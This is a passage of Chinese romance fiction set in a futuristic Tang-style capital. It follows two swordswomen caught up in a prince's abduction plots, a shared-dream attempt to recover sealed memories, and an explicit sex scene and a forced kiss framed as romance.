多日无法触碰的空虚和极度压抑的瘾,此刻化成汹涌的吻,一瞬间撞开那双朝思暮想的唇。
曾倾洛没想到她会这样,想要推开,却被抱得更紧。
曾倾洛:“李……极!”
李极听到她闷在唇中的声音,柔软的腰肢在怀,体温滚烫,只觉得星河倒灌目眩神迷,无法停止。
沈逆和边烬以为李极要对曾倾洛不利,往这边赶了半路,忽然看到这等情景,怔在原地,一时不知该不该上去。
也不知道谁把谁的唇咬破了,喘息渐粗,血腥味在口中蔓延。
曾倾洛推不开她也逃不走,起急,这一刀怎么扎过去的根本没意识,只听李极闷哼一声,终于松开她。
曾倾洛退后几步,脖子上都是汗,耳朵全红了,唇上还沾着血。
李极捂着侧腹,血不断往外涌。
她唇上也沾着血,额头上是因疼痛而起的汗水,一双眼睛血红得可怕。
痛苦,却满足。
“扎这儿疼多了啊……”
她笑着,身子摇摇欲坠,像朵在阴寒剧毒之地肆意怒放的艳美之花,反反复复地唤着那个名字。
“曾倾洛。”
第106章
看到李极被刺,血染腰腹,康逸等人立刻奔来。
被边烬一个眼神拦下。
李极摇摇晃晃坐到地上,虚弱道:“别大惊小怪……”
“咣当”一声,曾倾洛丢下李极的匕首。
看着曾倾洛被她的血染红的双手,李极满意地闭上眼。
没受伤的两名靖安侯府护院把同伴搀扶起来。沈逆单手往后撑在飞艇后排座椅上,一条腿前蹬,凝视着李极,又看看河望等人,在琢磨一件事儿。
要不要直接在这儿把李极绑了。
控制李极,或许能让她吐出睦洲藏了多少兵马,再摁着她写下朝中谁是她的裙下之臣,幕僚又有哪些。
这些都是有利的信息。
可是,她为什么要这么做呢?
主动入局,不是明智之举。
她要做的不是引火烧身,而是作壁上观,看着李家姐妹自相争夺。若是有事找上侯府大门,便祸水东引,引给谁都行,就是别漫入自家门里。
说到底,这些事儿和她沈逆又有什么关系?
沈逆根本不在乎谁当皇帝,谁当对她来说没差。
一切还是看边烬的意思。
看边烬想不想管唐Pro这烂摊子。
此时,边烬的注意力正落在远处的高空。
观众席正上方,有个从高处延伸出来的小岛。
那是整个斗技场视野最好,最中心的位置,正是昔日的贵宾包厢。
透过破败肮脏的琉璃观景窗,隐约能看见包厢内有模糊的人影。
边烬什么时候注意到那头的,沈逆居然现在才发现。
包厢内是谁,又看了多久的热闹?
沈逆开启飞艇的侦查系统,扫描。
果然有高天赋者反应。
初步估计,六个S级战斗天赋者,四个S级机械师,两个S级精神天赋者……
还有一个。
沈逆眼眸微睁。
拥有两种天赋,还都是S级。
这是谁?
“向知番。”
边烬在她耳边为她解惑。
“目前已知唯一一个在世,拥有两种S级天赋的人。”
向知番这个名字已经很久没出现在长安城中了。
他曾是先帝最为亲信的内侍,官拜总管太监,风光不可一世。
先帝万世之后,李渃元临御宇内,昔日先帝宠臣慢慢被李渃元的心腹取代。
向知番就是那时离开了中枢,追随曾经的裴贵妃前往睦洲。
一晃这么多年过去,能记得向知番的,恐怕也只剩边烬这些旧臣。
沈逆好奇问道:“哪两个天赋?”
边烬:“战斗天赋和精神天赋。”
其他都好说,这S级的精神天赋已经很稀有了,再加上一个S级战斗天赋,难怪连边烬都有些忌惮,可想而知相当不好对付。
斗技场外传来一声巨响。
有人在愤怒又急切地砸门。
护院跑过来道:“侯君,夫人,外面围了好几百名南衙护卫。”
话刚说完,大门轰然崩碎。
她们的注意力才被吸引过去一息,一直在等待时机的康逸和繁之已经带着李极消失了。
连带着贵宾包厢里向知番等人的气息也迅速模糊。
南衙护卫军冲入斗技场,为首的是一位极其高挑的女将军,头束武将抹额,身着绢甲,双手握着闪着紫电的重锤,眼神焦灼,四下巡视。
此人在场的都认得,路苍梧,她是左骁卫将军,也是南衙十二卫里李司之外另一位女将军。
“娘——”
被护院护在怀里的小娘子一直忍着哭意,在看到娘亲时终于忍不住,大声哭喊。
路苍梧原本焦灼的眼神一定,看到了女儿,收了武器立即跑上前,扣着她胳膊上上下下地看,问她有没有事,有事一定和娘亲说。
小娘子摇着头,看上去意识还有些昏,但能清晰对话,身上只有些擦伤。
路苍梧大惊过后情绪翻涌,一把将女儿摁进怀里,久久难分。
南衙护卫队看到上司的女儿没事,纷纷松了一口气。不少人目光投向边烬和沈逆她们,以及不远处被切割的异兽和一堆的尸体,暗暗低语着。
边烬擅于应付官方套话,和一名旅帅说明今晚事件,沈逆便乐得躲在师姐身后,悄悄把异兽身上的符纸揭下,准备带回去研究。
突然,感觉脑袋上蹦来一颗石子,沈逆“嘶”一声接住,心想谁这么无聊。
摊开手掌,不是石子,居然是颗糖。
回头看,一身官服的李司对她鬼鬼祟祟地笑。
沈逆:“你怎么来了?”
“这话说的,我可是金吾将军,这京师城里城外出点什么事,不都得我兜着。”
李司靠近,先是打量了一番沈逆新座驾,满眼的艳羡,随后低声细语着。
两人看着像在盘问,实则一边吃糖一边递消息,说闲话。
这一大波甲胄兵可不止右骁卫,还有李司的金吾卫。
路苍梧是右骁卫将军,在军中很有威信,听说她女儿被人绑了,几百名下属跟着她满长安找,正好遇上巡查的李司,金吾卫这便一块儿追过来了。
李司道:“最近禁军出了点事儿,南卫北军的几位统领家人接连失踪,闹得人心惶惶。路将军那独生女从小养在身边,疼得跟眼珠子似的,本想送到南边外祖家避一避危险,没承想人还没送出去,先失踪了。我认识她这么多年,第一次见她急成这样。”
桃子味的硬糖含在口中,把沈逆脸颊撑起一个小圆弧。
两人面对面站着,挡着别处投来的目光,沈逆手指轻勾,李司悄然挨得更近些。
“安王干的?”
李司“嘶”了一声,这事儿比想象的还严重。
若安王对禁军下手,那这一帝一王距离图穷匕见也不远了。
沈逆拍了拍李司,“李将军可得当心。”
毕竟李司可是金吾将军,禁军统领之一。
李司:“我一孤家寡人,有什么好当心的。”
沈逆给了她一个“你说呢”的眼神。
李司:……
她是孤家寡人没错,可也有心上人。
她和窦璇玑的事儿已经传到金吾卫里了,上回还被她听到几个说她和窦璇玑闲话的。
李司是一厢情愿觉得和窦璇玑一定能成,可人家还没答应呢,就沾一身风言风语不像话。几个爱嚼舌根的下属是教训了,但李司心慕窦璇玑的事儿已经收不回,估计早就传遍了金吾卫。
若安王真绑了窦璇玑来拿捏她,她可真不知如何是好。
李司掉头就要走,“我得找你璇玑妹妹一趟。”
“等会。”
沈逆从飞艇里抽了个金属盒子递给李司。
“答应给璇玑打造的新武器,你去就帮忙捎过去给她。”
李司拿过那盒子,矩形,不大,沉甸甸的,感觉里面装的应该是把匕首。
李司有点馋,娇娇软软道:“侯君什么时候给人家也打一把武器?”
她这德性让沈逆有点辣眼睛。
“小乔别闹,赶紧找你未来媳妇去。”
李司“哼”一声,走了。
那头边烬大致说完情况,路苍梧对曾倾洛恩谢不已,与她互加好友,郑重道:
“往后曾女郎和靖安侯府有任何需要差遣之处,尽管开口。”
曾倾洛不太好意思地说:“路将军客气了,只是路见不平拔刀相助罢了。”
小娘子身上裹着一件月光色外衫,路苍梧将它脱下,换上自己的披肩,对曾倾洛道:
“曾女郎的衣衫脏了,我先拿回去清洗干净再还给女郎。”
曾倾洛看着这件李极的外衫,温热的血喷溅在掌心里的触感浮现于脑海中。
还有那不管不顾,几乎要将她吞没的烫吻……
曾倾洛压住渐渐发热的脑子,回道:“这外衫,是安王给她罩上的。”
并不想抢了李极的人情,曾倾洛实话实说。
“安王?”
路苍梧神情明显有些惊讶和迟疑,略略思索后对曾倾洛淡笑了几声,有些犹豫道:
“那……”
曾倾洛想了想,说:“还是给我吧,我来处理。”
边烬见曾倾洛拿回李极的外衫,想到方才两人热吻的场面,又见曾倾洛唇都被咬破了,一身的血……颇有些头疼.
回到侯府,沈逆去看了两位受伤的护院。
所幸伤得都不重,休养几日便可康复。
沈逆赞赏她们英勇,加了月钱,亲自修复损坏的义体,顺手升了个级。
其他的护院看着有点眼馋。
谁不知道她们侯君一双手乃是稀世之珍,从来不在外面给人修复改造,达官显贵都排不上队,她的技术可谓有市无价。
这会儿沈逆居然能帮府里的护院修义体,传出去可得把人羡慕死。
沈逆拎着工具箱到护院所居住的院子里,工具箱一开,里面全是罕见的珍贵材料。
受伤护院脑袋包着,只露出一只眼睛。
独眼里也写满了震惊。
“这……这是给我用的吗?”
沈逆被她逗笑了:“是啊。”
谁都知道,能让沈逆亲手修复升级义体,战力定会提升一大截。
更别说这些来之不易的珍贵材料了,成天都在暗网上拍卖,是普通人想都不敢想的贵价物品。
沈逆的慷慨让护院们很感动,沈逆也承诺,往后只要是为了保护侯府受伤的,她一定亲手修复。
“只要脑子还在我就不会让你们死。”
以命换得庇护的家奴,乱世危局之下身微命贱,随时都要做好为主而死的准备。
原本京师近日的动荡,让护院们跼蹐不安,看到同伴受伤,一颗心更是惶恐难平。
这随时都有可能倾覆的时代,跟对明主是最重要的。
靖安侯年纪不大,为人却大度又可靠。
这番话更是让她们吃了定心丸般松一口气,想要一直追随沈逆的心情更为坚定。
这厢护院们被沈逆安抚好了心思,对靖安侯府的忠诚度又上一阶。
那厢边烬和曾倾洛一同坐在小池塘前,一人手里拿着一根鱼竿,慢悠悠地钓鱼。
大半天,一条鱼都没钓上来,鱼饵倒是放了一波又一波。
不像钓鱼,像是喂鱼来了。
其他话题都好说,情感问题是边烬最不擅长的。
可再不擅长,边烬也不可能不闻不问。
曾倾洛自小没有耶娘保护,还少一条腿,时常被欺辱,性子也软,在这兵连祸结的时代最是要不得的。边烬曾担心她活不到成年。这些年去燕落打过仗又当了探子,磨练出了些扎人的棱角,边烬总算能稍微放心一些。
可她到底本性温柔敦厚,旁人用刀用剑伤她,她还能抵挡一二。若是用上一副虚情假意的坏心肠来诱惑她,伤害她,怕她只有被人生吞活剥的份。
想说的话在边烬心里斟酌再斟酌,最后还是曾倾洛受不了这份让人害怕的沉默,率先开口。
“大师姐,不用担心,我已经不是小孩了,能处理好的。”
边烬握着鱼竿的手指微动。
“你们……”
“嗯。”
边烬从来没有对感情之事这般敏锐。
能从一个“嗯”字里解读出巨大的信息量。
边烬揉揉发痛的脑袋。
除了唇上那暧昧的痕迹,李极的确没能伤到曾倾洛。
两人对峙时,那些隐秘的动作瞒得了李极的下属,却瞒不过边烬的眼睛。
李极是自愿将匕首递到曾倾洛手中的……
曾倾洛伸了伸腿,望着池塘里浮动的点点碎金道:
“之前的确有些意外。既然发生了我也不去后悔,只当是上了一课。我已经十八了,不会因为这点小事患得患失。别担心我啦。”
边烬当然知道她不可能护曾倾洛一辈子,路该给孩子自己走。
边烬道:“有什么不开心的事,任何时候都能来找我倾诉。”
没想到曾倾洛听了“噗呲”笑出声。
边烬:?
曾倾洛:“你和小师姐真的很有默契,连说的话都一样。”
边烬并不知道沈逆曾经想象过她安抚人的模样,试着模仿她的语气安抚过曾倾洛。
曾倾洛找到那个记忆片段,投放出来给边烬看。
边烬嘴角微弯。
还真是一模一样。
……
从池塘回来,边烬正好遇见万姑姑。
万姑姑手里抱着个木箱子,道:“夫人,千姿楼掌柜送定制的夏衣来了。”
边烬:“谢谢,给我吧。”
边烬抱着木箱往寝屋的方向走,沈逆埋着头从转角转过来。
沈逆手里夹着两张符纸,一张是她从异兽身上揭下来的,另一张是她防着造出来的空白纸,一边走一边模仿着符纸画那扭曲的曲线。
还真奇怪,连精度超高的3D打印机都打不出精髓,手动临摹,怎么画都觉得结构上差点意思。
沈逆画得太投入,转弯也没停下速度,迎头撞上边烬。
沈逆心一惊,边烬顺着她的步子往后撤了撤,随后稳稳护住她,没让她磕疼半分。
“师姐?”
边烬右手单手环着木箱,左手搂住沈逆的腰。
边烬眼眸淡然,这一揽弄得沈逆心跳有些乱。
皮肉还记得边师姐出现的那一夜发生之事,腰间的记忆一下复苏,一时分不清眼前这是哪位师姐。
体温透过薄薄的夏衣染上沈逆的肌肤,沈逆注视着边烬的面庞,试图找到分辨二者的依据。
沈逆是更倾向烬师姐的。
毕竟边师姐很少大白天出现。
可是眼前人的氛围又非常接近边师姐……
边烬单手抱着沈逆,一时没放,迎着她那藏着事儿的双眸凝了片刻,忽然吻上来。
软唇轻碾,沈逆笔都掉在地上。
这般强势,真是边师姐……
她……为何会在这时候出现?
吻很快结束,主动吻人的人反而把自己耳朵吻红了。
沈逆心也被搅得怦怦跳。
她留意到边师姐怀里那个奇怪的木箱。
难道突然出现在昼时,与这箱子有关?
说起来,边师姐有几日没出现了。
边烬心头有些说不清的欲动,拉着沈逆进寝屋。
沈逆竟有些害羞,又乱乱的,问道:“怎么这个时辰来了?”
沈逆的问话入耳,边烬不动声色地关上门,放下门闩,长臂一展,将沈逆挡在门边。
“谁来了?”
沈逆一怔,心跳漏了半拍。
救命,是烬师姐。
第107章
“谁来了?”
房门已关,边烬挡在沈逆面前,神色看似平静,却是不回答问题不会让她离开的架势。
沈逆掌心里发潮,手指微微弯曲。
到底是同一个人,威慑力分毫不差。
沈逆也有脑子放空,张口结舌的时候。
气氛正是焦灼,她忽然看到了木箱上“千姿楼”三个字。
倏地想起这木箱是什么了。
傻了,真傻了。
这哪是边师姐突然出现的理由。
分明是她们订做的另一批夏衣。
千姿楼,哈哈,绝了。
怎么会在这紧要关头突然换包装?
沈逆喉头滚了滚,尽量让自己听上去没有异样。
“千姿楼啊,这夏衣,怎么这时辰送来了?我记得还要好几天才能做完。”
千姿楼为了大主顾加快了速度,提前送来了,没想到闹了这么个乌龙。
边烬不置可否,神色也没有明显的波动,但不耽误沈逆后背的皮自个儿绷紧了。
边烬撤回手,转身把木箱放到桌上,打开。
里面的确是千姿楼的夏衣。
沈逆心有余悸的同时,发现边烬慢悠悠地脱了手套,在水盆前净手。
边烬一贯喜欢戴手套,洗手或睡觉时会摘了,能让沈逆仔细瞧的机会不多。
这会儿沈逆才发现,边烬手背上有一道已经有些结痂的伤口。
沈逆目光一直追着伤口,待边烬擦干净手消完毒后,沈逆才用也消了毒的手捏住她的指尖,小心地拉到面前,仔仔细细地看着。
伤口不算浅,看上去已经伤了几日了。
“何时伤着的?”
边烬读着沈逆眼眸中的心疼。
“炼体的时候不小心划了一下。”
“怎么这般不小心啊……”
“意外发现了一件事。”
等沈逆抬眸好奇地看她时,她才道:
“痛觉被修复了。”
听到这句话,沈逆捏着边烬指尖的力道有微弱的加强。
眼眸里的神采也有一瞬的凝滞。
鬓角渗出一些汗。
是啊……推进了逆芯的完成度,师姐的痛觉自然也被提升了。
现在师姐应该和正常人的痛觉差不多了。
前几夜沈逆被边师姐熬干了精力,注意力前所未有的涣散。之后多件事同时推进,还不断有新的事件发生,需要她想需要她查,这么要紧的事都没能提前知会边烬一声。
沈逆握住边烬的手。
“逆芯有自动修复功能,先前有跟你提过的。上回例行检修的时候我理顺了接口,系统和逆芯联网,能自行完善逆芯。现下逆芯已经快要彻底完工,自行修复能力也变得更强,痛觉也被它自动修复了。”
基本是实话。
逆芯的自我修复能力的确很强。
只不过完善逆芯的不是系统,而是沈逆本人。
边烬没对她的回答有什么置喙,像一场再普通不过的对话。
沈逆看起来冷静,实则呼吸紊乱不堪。
圆场面的措辞让她心里乱糟糟的。
她又一次思考这件事该怎么做才能两面周全。
事实上,边师姐并没有说不能把她的身份告诉烬师姐。
毕竟边师姐什么都没说过,问一句反问三句的。
可要是她跟烬师姐说了,边师姐一定在意识的某个角落里全程看着,沈逆也有种泄露了她的秘密的惶恐。会导致什么后果,沈逆能不能承担得了,都是未知。
不好鲁莽处理。
自从边师姐出现,沈逆一直被边师姐牵着鼻子走,不让问也不让说,这样下去很不妙。
师姐无论在谋划什么,一定是非常危险的事情。
沈逆不打算继续等下去。
只有知道被封印的那三年的记忆,沈逆才能握住主动权。
只有知晓到底发生了什么事,才能明白该如何化解烬师姐的不安,才能保护边师姐。
回到最初的计划,沈逆打算再次进入梦境世界,在师姐的潜意识里找出记忆的真相。
沈逆双手握住边烬的右手,弯起,指骨贴在自己下巴下。
“今晚继续梦境互通吗?”
若是能破解记忆的禁区,沈逆打算将梦境的内容告诉烬师姐,也会适当暗示另一个意识就是她本人。
最了解自己的人永远是自己。
烬师姐肯定能比沈逆更明白自己要的是什么,如何自处,如何前行。
从边烬的视角看沈逆,就像只心慌的小狗。
忐忑地讨好着,生怕主人会生气,可怜兮兮。
沈逆的手有些微微的潮湿。
以前她的手掌总是很温暖,今日却有些发凉。
紧张和不确定的情绪传入了边烬的心里。
边烬靠过来,摸她的后脑勺,再往后背抚。
熟悉的安慰手法调整了沈逆无章的心跳,轻柔舒缓,每一次抚摸都能将压力从她身上削下去一分。
沈逆好贪恋边烬的安抚,埋进她的怀里,嗅她身上让人安心的香味。
沈逆自己靠过来,边烬就没让她走了。
边烬手掌很烫,压在沈逆单薄的后背上,隔着薄薄的寝衣,触她肌肤下起伏的骨骼。
瓷白的脸庞因为边烬的触碰沁出粉意,让边烬想到她喜欢的冰蓝夜昙。
脸被抬起,随之而来的是刚才没能尽兴的吻。
要是说方才在游廊的吻是蜻蜓点水,此刻的吻就凶了许多。
沈逆的唇几乎是被揉碾开,柔软的双唇被重重地吮着。
一时有些喘不上气,紧张地攥着边烬的衣襟。边烬在沉默中吻得更深,沈逆被吻得“唔”了好几声,被迫张大了双唇。口齿间的侵入前所未有的汹涌。
难怪边烬刚才洗了手,还消了毒。
寝衣扯得凌乱,沈逆被抱到边烬腿上,肌肤相贴,双眸失焦。
深深地被操控着,水痕失控地往下淌,沈逆昏昏沉沉地搅边烬的长发。
边烬眼尾和脸颊燥出了潮红,某个时刻垂眸,看自己的手。凝在手腕上的水珠一点点往床面上滴。
沈逆没力气了,额头垂落,抵着边烬的额头,双唇中淌着热气和沉沉的气息。
边烬抬头吻她,又一次往深里吻,与此同时托着怀中人的腰,控制着她的动作。
不想停。
想在沈逆身上笞上只属于她的烙印。
好烫。沈逆已经不知道自己口中在哼呢什么了,天地都在发白,双腿的肌群被牵连着颤抖,刚一次,又一次,根本没给她停歇的机会。快要受不住,想起身,边烬咬着她的肩头,单手扣着她软得快要支不起的腰肢,将她摁回来。
“师姐,师姐。”
沈逆双眼红彤彤的,肩头和腰肢上都是边烬的咬痕,眼里浸着泪,早就承受不住了,断断续续地求饶,晕厥感一阵阵蒙在脑中,可抱着她的人就是不停。
受不了,沈逆脸埋在师姐的肩头,手指压在边烬的后背上,发着颤,到最后也没舍得挠。
边烬的双眸也迷离了,爱意和酸涩感从心口不断往外涌。
“阿摇……”
沈逆知道,还是烬师姐。
很奇妙,即便都是沉默中尽情占有她,但她能从一点点细节里感受出区别。
在边烬温柔唤起小字尾音中,在自己像哭腔的破碎声音里,再一次天旋地转,耳边有些微弱的鸣响。
腰肢紧绷到极限,最后,随着颤抖终于流尽。
……
四肢不再冰冷,甚至有些烫手,沈逆从来没感受过这种事,靠在边烬怀中。
比十鞭子还要让她难以承受。
边烬亲了亲她的唇,问:“困了么?”
声音很轻,是温柔的气音。
沈逆太困太累了,眼睛已然睁不开,脑袋在边烬的肩头上下蹭了蹭,算是点头。
“那,现在到我的梦境来。”
两日前,边烬在线上联系了贺兰濯,问她有没有控制梦境的方法。
上笔生意的尾款已付,加之贺兰濯最近心情不错,便告诉她可以通过潜意识来引导梦境,详细教她控制梦境的方法,且只收了很低的费用。
当然,她俩都还不知道,当初那笔交易并没有达到顾客想要的效果,即便它的后续的影响算是不错。
沈逆睡着了,边烬从她身后抱住她,一同入睡。
……
呼——
沈逆还没睁开眼,先听到了风从耳边掠过的声响。
风很凉,让沈逆身上起了一层鸡皮疙瘩。
吹过山谷时的声音像呜咽。
她就在这呜咽声中缓缓睁眼,看见了一片蓝天,和望不到尽头的树。
还是那片犹如迷宫的森林。
风正托着沈逆的身子,浮在空中。
咕咚,咕咚,咕咚……
下方有奇怪的声音,沈逆往下看,居然是一根小菌菇在着急地蹦跶。
小菌菇脱离了菌菇小队,单独在这儿跳来跳去,伞盖时不时抬起,好像想叫沈逆,又出不了声,正着急着。
沈逆试着在空中转身,发现那风像一只温柔的手,无论她怎么转挪身子都很自如,没有摔落的风险。
沈逆缓缓下降,站到小菌菇面前,问它:
“你是在等我吗?”
小菌菇点了点伞盖,柔软的伞盖忽闪忽闪的,被沈逆理解了意思,很开心的样子。
实在太可爱,沈逆戳了戳它的伞盖。
厚实的伞盖被戳了一个小坑,小菌菇一下子蹦起来,扭着身子往某个方向蹦了好几下,见沈逆还站在原地,又蹦回来。
“要我跟着你走么?”
小菌菇点脑袋。
这回真有意思,以前师姐的梦境世界不是迷惑人就是在防御,这回居然主动要求带路。
小菌菇,你是不是叛变了?
先跟去看看,反正现在亲密度高,梦境互通的时间也更长了。
跟着小菌菇前进,走着走着,沈逆发现周围的景色好像有些变化。
树的颜色变深了,脚下的泥土也更加潮湿,虫鸣鸟叫一概听不到,只有不知从何而来隐隐约约的雾气萦绕周身。
她似乎被小菌菇带到了森林深处。
继续往前走,雾气越来越浓。
浓到要遮蔽视野。
小菌菇继续前进,沈逆紧跟其后,生怕慢一些连它都要瞧不见。
忽然,天地之间只剩浓雾,没有小菌菇,没有森林。
沈逆犹豫地停下。
阴森又未知,不知道迷雾里藏着什么,有点恐怖。
不过,再恐怖也是师姐的梦境世界,不可能伤害她。
沈逆调整了一下呼吸,往浓雾里去。
还未走两步,浓雾内骤然散出一波威压,将她往后推。
沈逆一个趔趄,身子就要倾倒时,风从身后拥上来,把她托了回来。
一个女人的声音从迷雾深处传来。
“回去。”
沈逆心头一震。
是边烬的声音。
边师姐?
第108章
“回去。”
浓雾之中有个徘徊的黑影,沈逆感受到了边师姐的气息。
沈逆没有听从她的话,没有回去,任浓雾从身体上流过。
“这里面藏着你的记忆,对吗?”
黑影没有回答。
好熟悉的沉默方式。
“那三年到底发生了什么?你到底在计划什么?连我都不能说么……师姐?”
沈逆是真心实意在着急。
眼看真相就在眼前,她迫切想一探究竟。
黑影依旧沉默着,沈逆试着往黑影的方向去。
就在她要进入迷雾时,一只手压住了她的肩膀。
“回去。”
还是那两个字。
声音犹在耳畔,但看不到对方的脸。
黑影整个人都被浓雾笼罩,那只手上也裹着一层浮动的雾。
沈逆没再硬闯,她知道自己没能力越过师姐。
而且师姐吃软不吃硬。
将那只手从肩头握下来,双手牵着,娇声道:
“就看一眼,好不好?”
师姐最是疼爱她,从小到大,但凡她撒娇,师姐就拿她没办法。
谁知,话刚说完,那黑影抬臂一挥,飓风迎面而来,沈逆直接被扇飞到半空。
沈逆的身体在空中失控地翻转时,听到那声音提高了不少,带着着恼的意味——
“回去!”
呼。
待视野稳固,沈逆睁开双眸,不知道自己被扇到何处。
脑袋冲下,被吹得乱七八糟的头发里都是树叶,严肃地摸着下巴沉思着。
不对啊,怎么失效了。
难道边师姐不吃这套?
不可能,以她多年的实践经验判断,但凡是师姐,就不可能不上当。
等下……
沈逆忽然想起,在进入梦境世界之前自己在做什么了。
她和烬师姐恩爱的画面,边师姐恐怕全看到了吧……
“嘶。”
沈逆倒吸一口凉气,揉了揉脑袋,将自己调转归正。
好吧,难怪会二话不说把她扇出来。
换成谁都会生气吧……
沈逆五官都要皱一块儿了,这可怎么办啊。
小菌菇又出现了。
只是这次它没那么活跃,支棱在地上,安静地瞧着天空中的沈逆。
沈逆有种被蔑视的感觉。
小菌菇是不是也觉得她没用?
得再试试。
就算这回还是没法进迷雾里,也得去哄哄。
而且也可以讲讲道理。
边师姐就是烬师姐,烬师姐就是边师姐,是一个人啊,她做了什么等于你做了什么,不用分得太清楚吧……
再次来到迷雾前,这番话还没说完,就被再一次扇飞。
这次飞得更远。
直接四仰八叉挂在树上。
沈逆:……
在哪里跌倒就在哪里卧倒。
沈逆躺在树杈上,双臂交叉,再次沉思。
这么说起来,烬师姐先前那样弄她,分别也是带着点气恼的。
烬师姐太聪明,一点蛛丝马迹都会被她抽丝剥茧,何况是一直在意的另一个意识。
烬师姐应该猜到另一个意识最近出现了,但沈逆没跟她说。
所以,这头烬师姐因为生气,在床上折腾她。
那头,边师姐也因为生气在梦里各种扇她。
她就是个被师姐握在掌心里反复摩擦,旋转不歇的陀螺是吧?
沈逆:“哈哈。”
气笑了。
你俩,轮番出现,我能怎么办?
有本事一起出现!
想着想着,脑海里还真上演了一出边师姐和烬师姐一起出现,把她夹在中间的画面。
沈逆:……
好像也不行,这哪受得了。
脸好烫。
不对。沈逆一咕噜坐起来。
不是想这些事的时候,梦境互通的时间有限。
还得去试试。
……
窦璇玑带队在缓冲区驻扎了两夜,清扫了缓冲区里出现的异兽。
两天两夜没睡,身为队正还得带兵、调度,精神丝毫不能松懈。清扫完,窦璇玑也憔悴了一圈。
这会儿坐上回程的马车,胳膊靠着房判睡了一路。
到了丽景门,窦璇玑冲澡的时候险些站浴房里睡着。
回到寝屋好不容易躺下,困劲儿过了,反而不想睡了。
加之丽景门内的冷气坏了,又赶上阴云密布,大雨将至却迟迟不至,闷热潮湿的感觉压在心上,弄得人半点睡意都没有。
窦璇玑翻了个几个身又乏又困,就是睡不着,干脆坐起来,在原地愣了一会儿,没忍住,从抽屉深处拿出那枚漂亮的璇玑石。
这璇玑石被打磨得通体圆润,内藏星河,一根漂亮的金线坠着,触手生温,和普通的石头大不相同。
真的很漂亮。
这么漂亮的东西,李司那傻子居然舍得给一个半生不熟的人……
万一被弄坏了,被辜负了怎么办?
正用拇指抚摸璇玑石,思绪被“吱嘎”一声推窗的声音打断。
窦璇玑立即把璇玑石收回去。
“谁?!”
居然有人敢爬她的窗?
窦璇玑一声质问,把翻窗进来的人吓一哆嗦,直接掉了下来,砸在窦璇玑床上,“咣当”一声好大的动静。
窦璇玑的单人床小到可怜,那人掉下来等于直接掉到窦璇玑怀里。
窦璇玑抽出床边的电刃就要砍人,那人急忙道:
“别,是我!”
窦璇玑看清了,是李司。
“……你翻窗做什么?”
路过门口的下属隔着门问:“队正,什么动静?没事吧?”
李司本来也没想开口,窦璇玑却是怕她胡来,横掌一捂。
窦璇玑对门口解释道:“没事,一只野猫顺着窗户掉进来了。”
门外下属“哦”一声便走了。
李司被她捂这一下眼神都不对了,舒舒服服躺在她床上,脑袋上下晃一晃,用高挺的鼻梁蹭她掌心。
窦璇玑立即缩回手,压低声音质问:“你干嘛?”
李司砸进来后还就地侧卧,摆出尽显曲线的姿势。
“小野猫不都这样蹭人么?”
“……你好好的,到底干嘛来了?”
李司还委屈上了,“我都等你好几天了,每天都跑来看你回来没有。去哪儿了?给你传信也不回。”
窦璇玑没和人同床共枕的习惯,床让给李司,她就靠在屋内唯一的柜子边,双臂抱在身前。
“怎么就好几天了?我统共去缓冲带才两天。缓冲带没网,当然收不到你的传信。”
“那我就是一日不见如隔三秋了嘛。别说,你这床看着小,还挺结实。”
“被你这人高马大的一砸还没塌,特新鲜是吧?”
李司眼睛笑得弯弯的,她就喜欢窦璇玑骂她,拆她台,整个人劲劲的,感觉浑身都活了。
窦璇玑:“到底找我干什么来了?”
李司从腿侧抽出一个沉甸甸的盒子。
“给你的。”
窦璇玑以为又是什么聘礼。
“我不要……”
“你靖安侯姐姐给你造的武器,真不要?”
窦璇玑立即拿过来。
“不早说。”
李司:……
窦璇玑打开盒子,里面躺着一把比她现在所用的电刃还要精巧的匕首,附带详细使用说明。
还真的用了星河铬素……
窦璇玑随手一挥,一道紫色的电光闪过,李司“我去”了一声,立即翻身躲闪。
下一刻,窦璇玑的床就被劈成两半。
窦璇玑:……
还是刚才那个下属,洗完脸再次路过,又一次问道:“队正,野猫……把床弄塌了?”
窦璇玑:。
李司坐在地上一身的冷汗,待窦璇玑把属下打发走,李司还心有余悸。
“下次要试刀,能不能别往我身上试?我一个大活人来给你送个礼,结果命落这儿了,你觉得合适么?”
李司衣角都被削掉半边,要不是她躲得及时,恐怕真得出闹出点血光之灾。
这升级版的电刃比先前沈逆紧急情况下搓出来的要厉害得多,窦璇玑爱不释手,又的确有点儿对不起李司,想到她刚才连滚带爬逃走的样子,笑意忍不住往脸上浮。
“行了,我错了,别生气了,嗯?”
窦璇玑对她粲然一笑,眼眸亮亮的。
她很少笑,常年一副冷冰冰的模样,偶尔一笑,好看到李司都忘了生气。
李司面上还在“哼”,其实心口早就被拱得火热了。
“那,我请你吃饭赔罪行不行?赏个脸?”
窦璇玑说半道,又乐不可支。
李司:“……我出糗的样子你能笑到明年是吧?”
说着窦璇玑还放声大笑起来。
李司:“这会儿就不怕别人过来敲门了?”
“没事儿,我就说小野猫慌不择路的样子太好笑了。”
李司咬着牙,“行吧,我是猫你是狗,咱们正好一对。”
窦璇玑“呵”了一声,把电刃对准李司。
“还想再慌不择路一回?”
李司撒着娇耍着赖,嘴里哼唧着“你就吓唬我”。
要是以前,窦璇玑肯定一脚把这闹腾玩意踢出去。
现在么,不仅没踢,熬了两夜又赶上冷气坏了的倒霉心情被李司治愈不少。
有点开心,脾气也好了些。
“你就是专程帮侯君给我送武器来的?”
“还有一件要事。”
李司正了神色,还真有几分将军的严肃。
她把最近安王四下绑架禁军首领亲眷,试图控制禁军的事儿说了。
窦璇玑:“所以,你觉得安王会来绑我?”
后面几句窦璇玑没说。
我是你什么人,没名没分的一头热,至于么……
若我遇险,你真的会掏出性命来搭救吗?
李司点头,抬起手。
窦璇玑的目光跟了上去。
以为李司会来牵手,李司其实也是这样想的,抬了一半,想到什么,又降了半程回去,只拉住窦璇玑的衣角。
“我真挺担心的。这两日你没回我的信,人也不知道去哪儿了,我连着几夜都没睡好觉。”
窦璇玑才发现李司眼下浓浓的青黑。
李司继续道:“你看你这儿,大热天冷气都能坏,现下床也没了,要不然你搬去我府上住吧?我还能经常护着你,心里踏实点。”
李司的双眼专注,真诚,是窦璇玑长这么大没见过的眼睛。
这一刻她觉得,在这浑浊乱世,若自己遇险,眼前这个尚算陌生的女人,可能真的会拼死护她…….
沈逆深吸一口气,醒了。
望着悬在床边柜上的夜灯,腾空的感觉还残留在体内。
沈逆数了一下,今晚一共被边师姐扇出来二十多回,森林里几棵树的树叶都差点被她卷秃了。
沈逆眨眨眼,不唉声叹气,不想让师姐跟着她一块儿沮丧。
